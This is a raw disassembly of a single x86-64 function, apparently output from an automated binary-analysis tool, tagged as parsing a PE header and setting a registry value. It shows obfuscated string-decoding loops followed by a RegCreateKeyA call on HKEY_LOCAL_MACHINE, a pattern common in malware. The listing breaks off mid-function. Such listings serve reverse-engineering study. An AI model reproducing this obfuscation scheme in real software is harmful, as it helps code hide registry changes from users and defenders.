Function at 0x1401039e0
Capabilities:
Parse pe header
Set registry value

Disassembly:
mov qword [rsp + 0x18], rbx
push rbp
push rsi
push rdi
push r12
push r13
push r14
push r15
lea rbp, [rsp - 0x60]
sub rsp, 0x160
mov rax, qword [0x1401dc800]
xor rax, rsp
mov qword [rbp + 0x58], rax
mov rsi, rdx
mov r14, rcx
mov dword [rsp + 0x60], 0xbfb9b29b
mov dword [rsp + 0x64], 0x9294a2a9
mov dword [rsp + 0x68], 0xb0a2a3a5
mov dword [rsp + 0x6c], 0xb695a5b8
mov dword [rsp + 0x70], 0xb2aaa9b4
mov dword [rsp + 0x74], 0x93bb8cb6
mov dword [rsp + 0x78], 0x9587b0ba
mov dword [rsp + 0x7c], 0x8c858e90
mov word [rbp - 0x80], 0xb19b
mov byte [rbp - 0x7e], reloc.WS2_32.dll_sendto
xorps xmm0, xmm0
movups xmmword [rbp - 0x7d], xmm0
movups xmmword [rbp - 0x6d], xmm0
movabs r15, 0xdbec6d1afa1e68bd
movabs r12, 0x72bb64759c1e9ce3
movabs r13, 0x8e8c7ea3cd710cd1
movzx r10d, byte [rbp + 0x30]
nop dword [rax + rax]
mov r8, qword [0x1402304a8]
mov r9, qword [0x1402304a0]
nop
xor edi, edi
movabs rcx, 0xf21772e8e756c809
cmp rdi, 0x43
jae 0x1401045b7
movzx ebx, byte [rsp + rdi + 0x60]
movzx r11d, bl
nop
cmp r8, rdi
ja 0x1401045ae
lea rax, [r9 + 1]
cmp r8, rax
jae 0x140103aeb
add rcx, rdi
mov rax, rcx
and rax, rbx
imul r10, rax, 0xfffffffffffffffe
add r10, rcx
add r10, rbx
sub r10b, 0x3f
jmp 0x140103b31
je 0x14010453c
inc rax
cmp r8, rax
je 0x1401044de
lea rax, [r9 + 3]
cmp r8, rax
je 0x1401044a4
lea rax, [r9 + 5]
cmp r8, rax
je 0x14010445e
lea rax, [r9 + 4]
cmp r8, rax
je 0x140104432
lea rax, [r9 + 2]
cmp r8, rax
je 0x1401043ed
movzx r11d, bl
cmp r9, rdi
ja 0x1401045a5
lea rcx, [r9 + 3]
cmp r8, rcx
jae 0x140103b62
lea rdx, [rdi + r15]
movzx eax, dl
and al, bl
add al, al
movzx r10d, r11b
sub r10b, al
sub r10b, 0x2b
add r10b, dl
jmp 0x140103bb0
lea rax, [r9 + 1]
cmp r8, rax
je 0x1401043c9
inc rax
cmp r8, rax
je 0x14010439f
lea rax, [r9 + 5]
cmp r8, rax
je 0x14010437b
lea rax, [r9 + 6]
cmp r8, rax
je 0x140104357
lea rax, [r9 + 4]
cmp r8, rax
je 0x14010430c
cmp r8, rcx
je 0x1401042e5
nop dword [rax + rax]
lea rax, [r9 + r8]
cmp rax, rdi
jbe 0x14010408b
nop dword [rax]
lea rax, [r9 + 0x20]
cmp r8, rax
je 0x140104072
lea rax, [r9 + 0x400]
cmp r8, rax
je 0x14010404b
lea rax, [r9 + 3]
cmp r8, rax
je 0x140104028
lea rax, [r9 + 0x1000]
cmp r8, rax
je 0x14010400f
lea rax, [r9 + 0x28]
cmp r8, rax
je 0x140103ff1
lea rax, [r9 + 4]
cmp r8, rax
je 0x140103fd4
lea rax, [r9 + 0x61]
cmp r8, rax
je 0x140103fb6
lea rax, [r9 + 0x40]
cmp r8, rax
je 0x140103f8f
lea rax, [r9 + 5]
cmp r8, rax
je 0x140103bc0
lea r8, [r9 + 1]
lea r9, [r8 + 0x40]
lea rax, [r9 + 0xa]
cmp r8, rax
jb 0x140104589
lea rax, [r9 + 1]
cmp r8, rax
jb 0x14010456d
lea rax, [r9 + 0x3e8]
cmp r8, rax
jb 0x140103d7e
lea rax, [r9 + 0x10]
cmp r8, rax
jb 0x140103d60
lea rax, [r9 + 2]
cmp r8, rax
jb 0x140103d42
lea rax, [r9 + 0x400]
cmp r8, rax
jb 0x140103f4a
lea rax, [r9 + 0x20]
cmp r8, rax
jb 0x140103f05
lea rax, [r9 + 3]
cmp r8, rax
jb 0x140103ec9
lea rax, [r9 + 0x1000]
cmp r8, rax
jb 0x140103ea8
lea r8, [r9 + 0x5a]
lea r9, [r8 + 0x1000]
lea rax, [r9 + 0x80]
cmp r8, rax
ja 0x140103e81
lea rax, [r9 + 9]
cmp r8, rax
ja 0x140103e63
lea rax, [r9 + 0x2a]
cmp r8, rax
ja 0x140103e4a
lea rax, [r9 + 0x200]
cmp r8, rax
ja 0x140103e2c
lea rax, [r9 + 0xa]
cmp r8, rax
ja 0x140103e13
lea rax, [r9 + 1]
cmp r8, rax
ja 0x140103df5
lea rax, [r9 + 0x3e8]
cmp r8, rax
ja 0x140103dd6
lea rax, [r9 + 0x10]
cmp r8, rax
ja 0x140103daf
lea r8, [r9 + 6]
lea r9, [r8 + 2]
jmp 0x140103bc0
lea rdx, [rdi + r12]
movzx eax, dl
and al, bl
add al, al
movzx r10d, r11b
sub r10b, al
sub r10b, 0x35
add r10b, dl
jmp 0x140103bb0
lea rdx, [rdi + r13]
movzx eax, dl
and al, bl
add al, al
movzx r10d, r11b
sub r10b, al
add r10b, 0x49
add r10b, dl
jmp 0x140103b35
movabs rdx, 0xaa5d98d1fec37cbf
add rdx, rdi
movzx eax, dl
and al, bl
add al, al
movzx r10d, r11b
sub r10b, al
sub r10b, 0x39
add r10b, dl
movabs rcx, 0xf21772e8e756c809
jmp 0x140103ac0
lea edx, [rdi - 0x2a]
movzx eax, dl
and al, bl
mov ecx, reloc.WS2_32.dll_send
sub cl, al
lea r10d, [rcx + rcx]
add r10b, dl
add r10b, bl
inc r9
dec rdi
inc rdi
jmp 0x140103aa2
lea ecx, [rdi - 0x3c]
movzx eax, cl
and al, bl
add al, al
sub cl, al
lea r10d, [rbx + rcx]
sub r10b, 0x5c
dec rdi
inc rdi
jmp 0x140103aa2
lea edx, [rdi - 0x4e]
movzx eax, dl
and al, bl
mov ecx, reloc.WS2_32.dll_recvfrom
sub cl, al
lea r10d, [rcx + rcx]
add r10b, dl
add r10b, bl
jmp 0x140104480
lea ecx, [rdi - 0x60]
movzx eax, cl
and al, bl
add al, al
sub cl, al
lea r10d, [rbx + rcx]
sub r10b, 0x60
jmp 0x1401044c2
lea edx, [rdi - 0x72]
movzx eax, dl
and al, bl
mov ecx, reloc.WS2_32.dll_ntohs
sub cl, al
lea r10d, [rcx + rcx]
add r10b, dl
add r10b, bl
jmp 0x1401044c5
lea ecx, [rdi + 0x7c]
movzx eax, cl
and al, bl
add al, al
sub cl, al
lea r10d, [rbx + rcx]
sub r10b, 0x64
jmp 0x14010432d
lea edx, [rdi + 0x6a]
movzx eax, dl
and al, bl
mov ecx, reloc.WS2_32.dll_listen
sub cl, al
lea r10d, [rcx + rcx]
add r10b, dl
add r10b, bl
jmp 0x140104500
lea ecx, [rdi + 0x58]
movzx eax, cl
and al, bl
add al, al
sub cl, al
lea r10d, [rbx + rcx]
sub r10b, 0x68
movzx eax, byte [rsp + rdi + 0x60]
add rax, r9
add rdi, rax
inc rdi
jmp 0x140103aa2
lea ecx, [rdi + 0x2b]
movzx eax, cl
and al, bl
add al, al
sub cl, al
lea r10d, [rbx + rcx]
sub r10b, 0x2d
mov byte [rsp + rdi + 0x60], r10b
inc rdi
jmp 0x140103aa2
lea ecx, [rdi + 0x19]
movzx eax, cl
and al, bl
add al, al
sub cl, al
lea r10d, [rbx + rcx]
add r10b, 0x51
movzx edx, dil
cmp r9, 0x3e8
jb 0x140103ebc
sub dl, 0x6a
movzx eax, dl
and al, bl
add al, al
sub dl, al
add dl, bl
lea r10d, [rdx*2 - 0x34]
jmp 0x14010440f
lea ecx, [rdi + 7]
movzx eax, cl
and al, bl
add al, al
sub cl, al
lea r10d, [rbx + rcx]
sub r10b, 0x31
cmp r8, 0x20
jae 0x1401042ae
lea rax, [r9 + 8]
cmp r8, rax
jbe 0x140104226
movzx edx, dil
lea ecx, [rdx - 0x1e]
movzx eax, cl
and al, bl
add al, al
sub cl, al
lea r10d, [rbx + rcx]
sub r10b, 0x2e
jmp 0x140103ee1
lea ecx, [rdi - 0xb]
movzx eax, cl
and al, bl
add al, al
sub cl, al
lea r10d, [rbx + rcx]
add r10b, 0x4d
lea rax, [r9 + r8]
cmp rax, 4
je 0x1401042cf
lea rax, [r9 + 0x2a]
cmp r8, rax
jbe 0x140104187
lea ecx, [rdi + 0x25]
movzx eax, cl
and al, bl
add al, al
sub cl, al
lea r10d, [rbx + rcx]
sub r10b, 3
jmp 0x140103f19
lea ecx, [rdi + 0x6e]
movzx eax, cl
and al, bl
add al, al
sub cl, al
lea r10d, [rbx + rcx]
sub r10b, 2
movzx eax, byte [rsp + rdi + 0x60]
add rax, r9
add rdi, rax
inc rdi
jmp 0x140103aa2
lea edx, [rdi + 0x5c]
movzx eax, dl
and al, bl
mov ecx, 0x3e
sub cl, al
lea r10d, [rcx + rcx]
add r10b, dl
add r10b, bl
jmp 0x140104500
movzx edx, dil
lea ecx, [rdx + 0x4a]
movzx eax, cl
and al, bl
add al, al
sub cl, al
lea r10d, [rbx + rcx]
sub r10b, 6
jmp 0x140104331
lea edx, [rdi + 0x38]
movzx eax, dl
and al, bl
mov ecx, reloc.WLDAP32.dll_Ordinal_60
sub cl, al
lea r10d, [rcx + rcx]
add r10b, dl
add r10b, bl
jmp 0x1401044c5
lea ecx, [rdi + 0x26]
movzx eax, cl
and al, bl
add al, al
sub cl, al
lea r10d, [rbx + rcx]
sub r10b, 0xa
jmp 0x1401044c2
movzx r11d, dil
lea edx, [r11 + 0x14]
movzx eax, dl
and al, bl
mov ecx, Ordinal_60
sub cl, al
lea r10d, [rcx + rcx]
add r10b, dl
add r10b, bl
jmp 0x140104484
lea edx, [rdi - 0x10]
movzx eax, dl
and al, bl
mov ecx, gethostname
sub cl, al
lea r10d, [rcx + rcx]
add r10b, dl
add r10b, bl
inc r9
dec rdi
inc rdi
jmp 0x140103aa2
lea ecx, [rdi - 0x22]
movzx eax, cl
and al, bl
add al, al
sub cl, al
lea r10d, [rbx + rcx]
sub r10b, 0x12
jmp 0x14010440f
lea rax, [r9 + 0x42]
cmp r8, rax
jae 0x1401040b8
movabs rcx, 0xf21772e8e756c809
add rcx, rdi
movzx eax, cl
and al, bl
add al, al
sub r11b, al
lea r10d, [rcx + r11]
sub r10b, 0x3f
jmp 0x140103f5e
lea rax, [r9 + 1]
cmp r8, rax
jne 0x1401040e8
lea ecx, [rdi + 0x7a]
movzx eax, cl
and al, bl
add al, al
sub cl, al
lea r10d, [rbx + rcx]
sub r10b, 0x56
movzx eax, byte [rsp + rdi + 0x60]
add rax, r9
add rdi, rax
inc rdi
jmp 0x140103aa2
inc rax
cmp r8, rax
jne 0x14010410d
movzx edx, dil
lea ecx, [rdx - 0x62]
movzx eax, cl
and al, bl
add al, al
sub cl, al
lea r10d, [rbx + rcx]
sub r10b, 0x52
jmp 0x140104331
lea rax, [r9 + 4]
cmp r8, rax
jne 0x14010412f
lea ecx, [rdi - 0x3e]
movzx eax, cl
and al, bl
add al, al
sub cl, al
lea r10d, [rbx + rcx]
sub r10b, 0x4e
jmp 0x1401044c2
lea rax, [r9 + 5]
cmp r8, rax
jne 0x14010415b
movzx r11d, dil
lea edx, [r11 - 0x2c]
movzx eax, dl
and al, bl
mov ecx, reloc.WLDAP32.dll_Ordinal_26
sub cl, al
lea r10d, [rcx + rcx]
add r10b, dl
add r10b, bl
jmp 0x140104484
lea rax, [r9 + 6]
cmp r8, rax
jne 0x140103f5e
lea ecx, [rdi - 0x1a]
movzx eax, cl
and al, bl
add al, al
sub cl, al
lea r10d, [rbx + rcx]
sub r10b, 0x4a
dec rdi
inc rdi
jmp 0x140103aa2
lea rax, [r9 + 1]
cmp r8, rax
jne 0x1401041a9
lea ecx, [rdi + 0x37]
movzx eax, cl
and al, bl
add al, al
sub cl, al
lea r10d, [rbx + rcx]
add r10b, 0x7f
jmp 0x14010440f
inc rax
cmp r8, rax
jne 0x1401041d0
lea ecx, [rdi + 0x5b]
movzx eax, cl
and al, bl
add al, al
sub cl, al
lea r10d, [rbx + rcx]
sub r10b, 0x7d
dec rdi
inc rdi
jmp 0x140103aa2
lea rax, [r9 + 3]
cmp r8, rax
jne 0x1401041f2
lea ecx, [rdi - 0x6f]
movzx eax, cl
and al, bl
add al, al
sub cl, al
lea r10d, [rbx + rcx]
add r10b, 9
jmp 0x1401044c5
lea rax, [r9 + 8]
cmp r8, rax
jne 0x140103f19
lea ecx, [rdi - 0x39]
movzx eax, cl
and al, bl
add al, al
sub cl, al
lea r10d, [rbx + rcx]
sub r10b, 0x71
movzx eax, byte [rsp + rdi + 0x60]
add rax, r9
add rdi, rax
inc rdi
jmp 0x140103aa2
lea rcx, [r9 + 1]
cmp r8, rcx
jne 0x14010425b
lea edx, [rdi - 0xc]
movzx eax, dl
and al, bl
mov ecx, Ordinal_45
sub cl, al
lea r10d, [rcx + rcx]
add r10b, dl
add r10b, bl
movzx eax, byte [rsp + rdi + 0x60]
add rax, r9
add rdi, rax
inc rdi
jmp 0x140103aa2
lea rax, [r9 + 3]
cmp r8, rax
jne 0x14010427d
lea ecx, [rdi + 0x2a]
movzx eax, cl
and al, bl
add al, al
sub cl, al
lea r10d, [rbx + rcx]
sub r10b, 0x26
jmp 0x1401044c5
lea rax, [rcx + 1]
cmp r8, rax
jne 0x140103edd
lea edx, [rdi + 0x60]
movzx eax, dl
and al, bl
mov ecx, Ordinal_50
sub cl, al
lea r10d, [rcx + rcx]
add r10b, dl
add r10b, bl
dec rdi
inc rdi
jmp 0x140103aa2
movzx r11d, dil
lea edx, [r11 - 0x58]
movzx eax, dl
and al, bl
movzx ecx, bl
sub cl, al
add cl, 0x34
lea r10d, [rcx + rcx]
add r10b, dl
jmp 0x140104484
movzx edx, dil
lea ecx, [rdx - 0x46]
movzx eax, cl
and al, bl
add al, al
sub cl, al
lea r10d, [rcx - 0x16]
jmp 0x140104331
movabs rdx, 0xfd639ba96f8ae94d
add rdx, rdi
movzx eax, dl
and al, bl
add al, al
movzx r10d, r11b
sub r10b, al
sub r10b, 0x1b
add r10b, dl
jmp 0x140104500
movabs rdx, 0x1934b5d7a0dd593b
add rdx, rdi
movzx eax, dl
and al, bl
add al, al
movzx r10d, r11b
sub r10b, al
add dl, 0x63
add r10b, dl
movzx edx, dil
sub dl, 0x3d
movzx eax, dl
and al, bl
add al, al
sub dl, al
sub dl, 0x55
add dl, bl
movzx eax, dl
mov byte [rsp + rdi + 0x60], al
inc r9
add rax, r9
sub rdi, rax
jmp 0x140104500
movabs rcx, 0x3505d005d22fc929
add rcx, rdi
movzx eax, cl
and al, bl
add al, al
sub r11b, al
lea r10d, [rcx + r11]
sub r10b, 0x1f
jmp 0x1401044c5
movabs rcx, 0x50d6ea3403823917
add rcx, rdi
movzx eax, cl
and al, bl
add al, al
sub r11b, al
lea r10d, [rcx + r11]
add r10b, 0x5f
jmp 0x1401044c2
movabs rcx, 0x88791e90662718f3
add rcx, rdi
movzx eax, cl
and al, bl
add al, al
sub r11b, al
lea r10d, [rcx + r11]
add r10b, 0x5b
dec rdi
inc rdi
jmp 0x140103aa2
movabs rdx, 0xc01b52ecc8cbf8cf
add rdx, rdi
movzx eax, dl
and al, bl
add al, al
movzx r10d, r11b
sub r10b, al
add r10b, 0x57
add r10b, dl
jmp 0x14010440f
movabs rcx, 0xf7bd87492b70d8ab
add rcx, rdi
movzx eax, cl
and al, bl
add al, al
sub cl, al
lea r10d, [r11 + rcx]
add r10b, 0x53
movzx ebx, r11b
lea ecx, [rdi - 0x61]
movzx eax, cl
and al, bl
add al, al
sub cl, al
sub cl, 0x59
add cl, bl
mov byte [rsp + rdi + 0x60], cl
inc r9
dec rdi
inc rdi
jmp 0x140103aa2
movabs rcx, 0x138ea1775cc34899
add rcx, rdi
movzx eax, cl
and al, bl
add al, al
sub cl, al
lea r10d, [r11 + rcx]
sub r10b, 0x2f
inc r9
dec rdi
inc rdi
jmp 0x140103aa2
movabs rcx, 0x4b30d5d3bf682875
add rcx, rdi
movzx eax, cl
and al, bl
add al, al
sub cl, al
lea r10d, [r11 + rcx]
sub r10b, 0x33
movzx ebx, r11b
movzx r11d, dil
sub r11b, 0x4f
movzx eax, r11b
and al, bl
add al, al
sub r11b, al
add r11b, 0x29
add r11b, bl
add r11b, r10b
mov byte [rsp + rdi + 0x60], r11b
jmp 0x1401044c2
movabs rcx, 0x6701f001f0ba9863
add rcx, rdi
movzx eax, cl
and al, bl
add al, al
sub cl, al
lea r10d, [r11 + rcx]
add r10b, 0x4b
add r8, r9
movzx eax, r10b
mov rcx, 0xffffffffffffffff
sub rcx, rax
add rdi, rcx
inc rdi
jmp 0x140103aa2
movabs rcx, 0xba753e8c84b1e82d
add rcx, rdi
movzx eax, cl
and al, bl
add al, al
sub cl, al
lea r10d, [r11 + rcx]
sub r10b, 0x3b
movzx ebx, r11b
lea edx, [rdi - 0x34]
movzx eax, dl
and al, bl
mov ecx, gethostname
sub cl, al
add cl, cl
add cl, dl
add cl, bl
mov byte [rsp + rdi + 0x60], cl
inc r8
mov rax, 0xffffffffffffffff
sub rax, r8
add rdi, rax
movzx eax, byte [rsp + rdi + 0x60]
add rax, r9
add rdi, rax
inc rdi
jmp 0x140103aa2
movabs rcx, 0xd64658bab604581b
add rcx, rdi
movzx eax, cl
and al, bl
add al, al
sub cl, al
lea r10d, [r11 + rcx]
add r10b, 0x43
movzx eax, byte [rsp + rdi + 0x60]
add rax, r9
add rdi, rax
inc rdi
jmp 0x140103aa2
sub dil, 0x53
movzx eax, dil
and al, bl
add al, al
sub dil, al
lea r10d, [rbx + rdi]
add r10b, 0x45
jmp 0x140103a9e
sub dil, 0x65
movzx eax, dil
and al, bl
add al, al
sub dil, al
lea r10d, [rbx + rdi]
sub r10b, 0x3d
jmp 0x140103a88
lea rbx, [rbp + 0x14e656c]
jmp 0x1401045bc
lea rbx, [rbp + 0xa52d75]
jmp 0x1401045bc
lea rbx, [rsp + 0x60]
movzx edx, byte [rbp + 0x30]
lea rcx, [rbp + 0x38]
call fcn.1400029f0
nop
mov r8, 0xffffffffffffffff
inc r8
cmp byte [rbx + r8], 0
jne 0x1401045d1
mov rdx, rbx
lea rcx, [rbp + 0x38]
call fcn.140004460
nop
mov rdx, rsi
lea rcx, [rbp + 0x38]
call fcn.1400030f0
lea rdx, [rbp + 0x38]
cmp qword [rbp + 0x50], 0xf
cmova rdx, qword [rbp + 0x38]
lea r8, [rbp + 0x28]
mov rcx, 0xffffffff80000002
call qword [sym.imp.ADVAPI32.dll_RegCreateKeyA]
test eax, eax
jne 0x140106f2c
mov byte [rbp + 0x31], 1
mov dword [rbp], 0x86bab490
mov byte [rbp + 4], Ordinal_41
xorps xmm0, xmm0
xor eax, eax
movups xmmword [rbp + 5], xmm0
mov qword [rbp + 0x15], rax
mov dword [rbp + 0x1d], eax
mov word [rbp + 0x21], ax
movabs r15, 0x8394ef791b1f9eda
movabs r12, 0xa03c6b41f41c95aa
movabs r13, 0x8abece6b515edc8e
movzx r10d, byte [rbp + 0x30]
nop dword [rax]
nop word [rax + rax]
mov r8, qword [0x1402304a8]
mov r9, qword [0x1402304a0]
nop
xor edi, edi
cmp rdi, 0x23
jae 0x140105083
movzx ebx, byte [rbp + rdi]
mov esi, ebx
cmp r8, rdi
ja 0x14010507a
lea rcx, [r9 + 1]
cmp r8, rcx
jae 0x1401046bf
lea rcx, [rdi + r15]
mov rax, rcx
and rax, rsi
imul r10, rax, 0xfffffffffffffffe
add r10, rcx
add r10, rsi
add r10b, 0xa
jmp 0x1401046f9
je 0x140105005
lea rax, [r9 + 3]
cmp r8, rax
je 0x140104f7b
lea rax, [rcx + 1]
cmp r8, rax
je 0x140104f49
lea rax, [r9 + 5]
cmp r8, rax
je 0x140104f2a
lea rax, [r9 + 8]
cmp r8, rax
je 0x140104ee3
movzx r11d, dil
nop dword [rax]
cmp r9, rdi
ja 0x140105071
lea rcx, [r9 + 1]
cmp r8, rcx
jae 0x140104729
lea ecx, [r11 - 0x1e]
movzx eax, cl
and al, bl
add al, al
sub cl, al
lea r10d, [rbx + rcx]
sub r10b, 0x2e
jmp 0x140104763
je 0x140104ecb
lea rax, [r9 + 3]
cmp r8, rax
je 0x140104ea5
lea rax, [rcx + 1]
cmp r8, rax
je 0x140104e64
lea rax, [r9 + 5]
cmp r8, rax
je 0x140104e45
lea rax, [r9 + 8]
cmp r8, rax
je 0x140104e1c
lea rax, [r9 + r8]
cmp rax, rdi
jbe 0x140104a93
lea rax, [r9 + 0x28]
cmp r8, rax
je 0x140104a77
lea rax, [r9 + 0x200]
cmp r8, rax
je 0x140104a4e
lea rax, [r9 + 0x7a]
cmp r8, rax
je 0x140104a28
lea rax, [r9 + 2]
cmp r8, rax
je 0x140104a0d
lea rax, [r9 + 8]
cmp r8, rax
je 0x1401049ef
lea r8, [r9 + 5]
lea r9, [r8 + 0x28]
lea rax, [r9 + 0x10]
cmp r8, rax
jb 0x140105051
lea rax, [r9 + 0x64]
cmp r8, rax
jb 0x140105031
lea rax, [r9 + 0x1000]
cmp r8, rax
jb 0x1401048c3
lea rax, [r9 + 0x2a]
cmp r8, rax
jb 0x1401048a4
lea rax, [r9 + 5]
cmp r8, rax
jb 0x140104885
lea rax, [r9 + 4]
cmp r8, rax
jb 0x1401049b1
lea rax, [r9 + 0xa]
cmp r8, rax
jb 0x14010498e
lea rax, [r9 + 0x42]
cmp r8, rax
jb 0x140104770
lea r8, [r9 + 0x28]
lea r9, [r8 + 0x400]
lea rax, [r9 + 0x200]
cmp r8, rax
ja 0x140104965
lea rax, [r9 + 0x7a]
cmp r8, rax
ja 0x140104945
lea rax, [r9 + 2]
cmp r8, rax
ja 0x140104926
lea rax, [r9 + 8]
cmp r8, rax
ja 0x140104906
lea rax, [r9 + 0x28]
cmp r8, rax
ja 0x1401048e3
lea r8, [r9 + 0x400]
lea r9, [r8 + 0x200]
jmp 0x140104770
lea edx, [r11 + 0x5e]
movzx eax, dl
and al, bl
mov ecx, gethostname
sub cl, al
lea r10d, [rcx + rcx]
add r10b, dl
add r10b, bl
jmp 0x140104763
lea edx, [r11 - 0x56]
movzx eax, dl
and al, bl
mov ecx, reloc.WLDAP32.dll_Ordinal_45
sub cl, al
lea r10d, [rcx + rcx]
add r10b, dl
add r10b, bl
jmp 0x140104700
sub r11b, 0xa
movzx eax, r11b
and al, bl
mov ecx, reloc.WLDAP32.dll_Ordinal_35
sub cl, al
lea r10d, [rcx + rcx]
add r10b, r11b
add r10b, bl
jmp 0x140104693
add r11b, 0x40
movzx eax, bl
and al, r11b
mov ecx, reloc.WLDAP32.dll_Ordinal_32
sub cl, al
lea r10d, [rcx + rcx]
add r10b, bl
add r10b, r11b
add r8, r9
jmp 0x140104f62
sub r11b, 0x74
movzx eax, bl
and al, r11b
mov ecx, reloc.WLDAP32.dll_Ordinal_22
sub cl, al
lea r10d, [rcx + rcx]
add r10b, bl
add r10b, r11b
jmp 0x140104f62
lea edx, [r11 - 0x28]
movzx eax, bl
and al, dl
mov ecx, recv
sub cl, al
lea r10d, [rcx + rcx]
add r10b, bl
add r10b, dl
jmp 0x140104fa1
add r11b, 0x24
movzx eax, bl
and al, r11b
mov ecx, 2
sub cl, al
lea r10d, [rcx + rcx]
add r10b, bl
add r10b, r11b
jmp 0x140104fc9
add r11b, 0x70
movzx eax, bl
and al, r11b
add al, al
sub bl, al
lea r10d, [r11 + rbx]
sub r10b, 0x10
movzx eax, byte [rbp + rdi]
add rax, r9
add rdi, rax
inc rdi
jmp 0x140104682
add r11b, 0x2e
movzx eax, bl
and al, r11b
add al, al
sub bl, al
lea r10d, [r11 + rbx]
sub r10b, 0x42
mov byte [rbp + rdi], r10b
inc rdi
jmp 0x140104682
lea edx, [r11 + 0x7a]
movzx eax, bl
and al, dl
add al, al
movzx r10d, bl
sub r10b, al
sub r10b, 0x56
add r10b, dl
cmp r9, 9
jb 0x1401049a4
lea edx, [r11 - 0x24]
movzx eax, bl
and al, dl
add al, al
movzx ecx, bl
sub cl, al
add cl, dl
lea r10d, [rcx*2 - 8]
jmp 0x140104f00
add r11b, 0x7c
movzx eax, bl
and al, r11b
add al, al
sub bl, al
lea r10d, [r11 + rbx]
sub r10b, 0x64
add r8, r9
jmp 0x140104f62
lea edx, [r11 - 0x38]
movzx eax, bl
and al, dl
add al, al
movzx r10d, bl
sub r10b, al
sub r10b, 0x78
jmp 0x140104e7b
add r11b, 0x14
movzx eax, bl
and al, r11b
mov ecx, Ordinal_60
sub cl, al
lea r10d, [rcx + rcx]
add r10b, bl
add r10b, r11b
dec rdi
inc rdi
jmp 0x140104682
add r11b, 0x60
movzx eax, bl
and al, r11b
mov ecx, Ordinal_50
sub cl, al
lea r10d, [rcx + rcx]
add r10b, bl
add r10b, r11b
inc r9
dec rdi
inc rdi
jmp 0x140104682
lea edx, [r11 - 0x54]
movzx eax, bl
and al, dl
mov ecx, Ordinal_41
sub cl, al
lea r10d, [rcx + rcx]
add r10b, bl
jmp 0x140104efd
lea rax, [r9 + 1]
cmp r8, rax
jae 0x140104b22
lea edx, [r11 - 0x26]
movzx eax, bl
and al, dl
mov ecx, 5
sub cl, al
lea r10d, [rcx + rcx]
add r10b, bl
add r10b, dl
lea rax, [r9 + r8]
cmp rax, 3
je 0x140104e00
lea rcx, [r9 + 1]
cmp r8, rcx
jbe 0x140104bf2
lea edx, [r11 - 0xe]
movzx eax, bl
and al, dl
mov ecx, Ordinal_50
sub cl, al
lea r10d, [rcx + rcx]
add r10b, bl
add r10b, dl
cmp r8, 0x10
jae 0x140104de9
lea rax, [r9 + 9]
cmp r8, rax
jbe 0x140104ce4
lea edx, [r11 - 0x2c]
movzx eax, bl
and al, dl
mov ecx, reloc.WLDAP32.dll_Ordinal_26
sub cl, al
lea r10d, [rcx + rcx]
add r10b, bl
jmp 0x1401049c7
jne 0x140104b4d
sub r11b, 0x3c
movzx eax, bl
and al, r11b
add al, al
sub bl, al
lea r10d, [r11 + rbx]
sub r10b, 0x5c
movzx eax, byte [rbp + rdi]
add rax, r9
add rdi, rax
inc rdi
jmp 0x140104682
inc rax
cmp r8, rax
jne 0x140104b73
lea edx, [r11 + 0x2c]
movzx eax, bl
and al, dl
add al, al
movzx r10d, bl
sub r10b, al
sub r10b, 0x34
add r10b, dl
jmp 0x140104fa1
lea rax, [r9 + 4]
cmp r8, rax
jne 0x140104b9a
sub r11b, 0x6c
movzx eax, bl
and al, r11b
add al, al
sub bl, al
lea r10d, [r11 + rbx]
sub r10b, 0xc
add r8, r9
jmp 0x140104f62
lea rax, [r9 + 2]
cmp r8, rax
jne 0x140104bc9
sub r11b, 4
movzx eax, bl
and al, r11b
mov ecx, recv
sub cl, al
lea r10d, [rcx + rcx]
add r10b, bl
add r10b, r11b
dec rdi
inc rdi
jmp 0x140104682
lea rax, [r9 + 3]
cmp r8, rax
jne 0x140104aba
lea edx, [r11 + 0x64]
movzx eax, bl
and al, dl
mov ecx, Ordinal_35
sub cl, al
lea r10d, [rcx + rcx]
add r10b, bl
jmp 0x140104efd
jne 0x140104c10
lea edx, [r11 - 0x5a]
movzx eax, bl
and al, dl
mov ecx, Ordinal_60
sub cl, al
lea r10d, [rcx + rcx]
add r10b, bl
jmp 0x140104efd
lea rax, [r9 + 3]
cmp r8, rax
jne 0x140104c3a
add r11b, 0xe
movzx eax, bl
and al, r11b
add al, al
sub bl, al
lea r10d, [r11 + rbx]
sub r10b, 0x62
dec rdi
inc rdi
jmp 0x140104682
lea rax, [rcx + 1]
cmp r8, rax
jne 0x140104c5e
lea edx, [r11 - 0x3e]
movzx eax, bl
and al, dl
add al, al
movzx r10d, bl
sub r10b, al
sub r10b, 0x4e
jmp 0x140104e7b
lea rax, [r9 + 2]
cmp r8, rax
jne 0x140104c85
add r11b, 0x76
movzx eax, bl
and al, r11b
add al, al
sub bl, al
lea r10d, [r11 + rbx]
sub r10b, 0x3a
add r8, r9
jmp 0x140104f62
lea rax, [r9 + 5]
cmp r8, rax
jne 0x140104ca9
add r11b, 0x2a
movzx eax, bl
and al, r11b
add al, al
sub bl, al
lea r10d, [r11 + rbx]
sub r10b, 0x26
jmp 0x140104f62
lea rax, [r9 + 6]
cmp r8, rax
jne 0x140104aef
add r11b, 0x46
movzx eax, bl
and al, r11b
mov ecx, listen
sub cl, al
lea r10d, [rcx + rcx]
add r10b, bl
add r10b, r11b
movzx eax, byte [rbp + rdi]
add rax, r9
add rdi, rax
inc rdi
jmp 0x140104682
lea rax, [r9 + 1]
cmp r8, rax
jne 0x140104d1b
sub r11b, 0x78
movzx eax, bl
and al, r11b
mov ecx, 0x24
sub cl, al
lea r10d, [rcx + rcx]
add r10b, bl
add r10b, r11b
movzx eax, byte [rbp + rdi]
add rax, r9
add rdi, rax
inc rdi
jmp 0x140104682
lea rax, [r9 + 3]
cmp r8, rax
jne 0x140104d43
lea edx, [r11 - 0x10]
movzx eax, bl
and al, dl
mov ecx, gethostname
sub cl, al
lea r10d, [rcx + rcx]
add r10b, bl
add r10b, dl
jmp 0x140104fa1
lea rax, [r9 + 4]
cmp r8, rax
jne 0x140104d67
sub r11b, 0x5c
movzx eax, bl
and al, r11b
add al, al
sub bl, al
lea r10d, [r11 + rbx]
sub r10b, 0x7c
jmp 0x140104f62
lea rax, [r9 + 5]
cmp r8, rax
jne 0x140104d8e
add r11b, 0x58
movzx eax, bl
and al, r11b
add al, al
sub bl, al
lea r10d, [r11 + rbx]
sub r10b, 0x68
add r8, r9
jmp 0x140104f62
lea rax, [r9 + 7]
cmp r8, rax
jne 0x140104db8
sub r11b, 0x40
movzx eax, bl
and al, r11b
add al, al
sub bl, al
lea r10d, [r11 + rbx]
sub r10b, 0x40
dec rdi
inc rdi
jmp 0x140104682
lea rax, [r9 + 2]
cmp r8, rax
jne 0x1401049ca
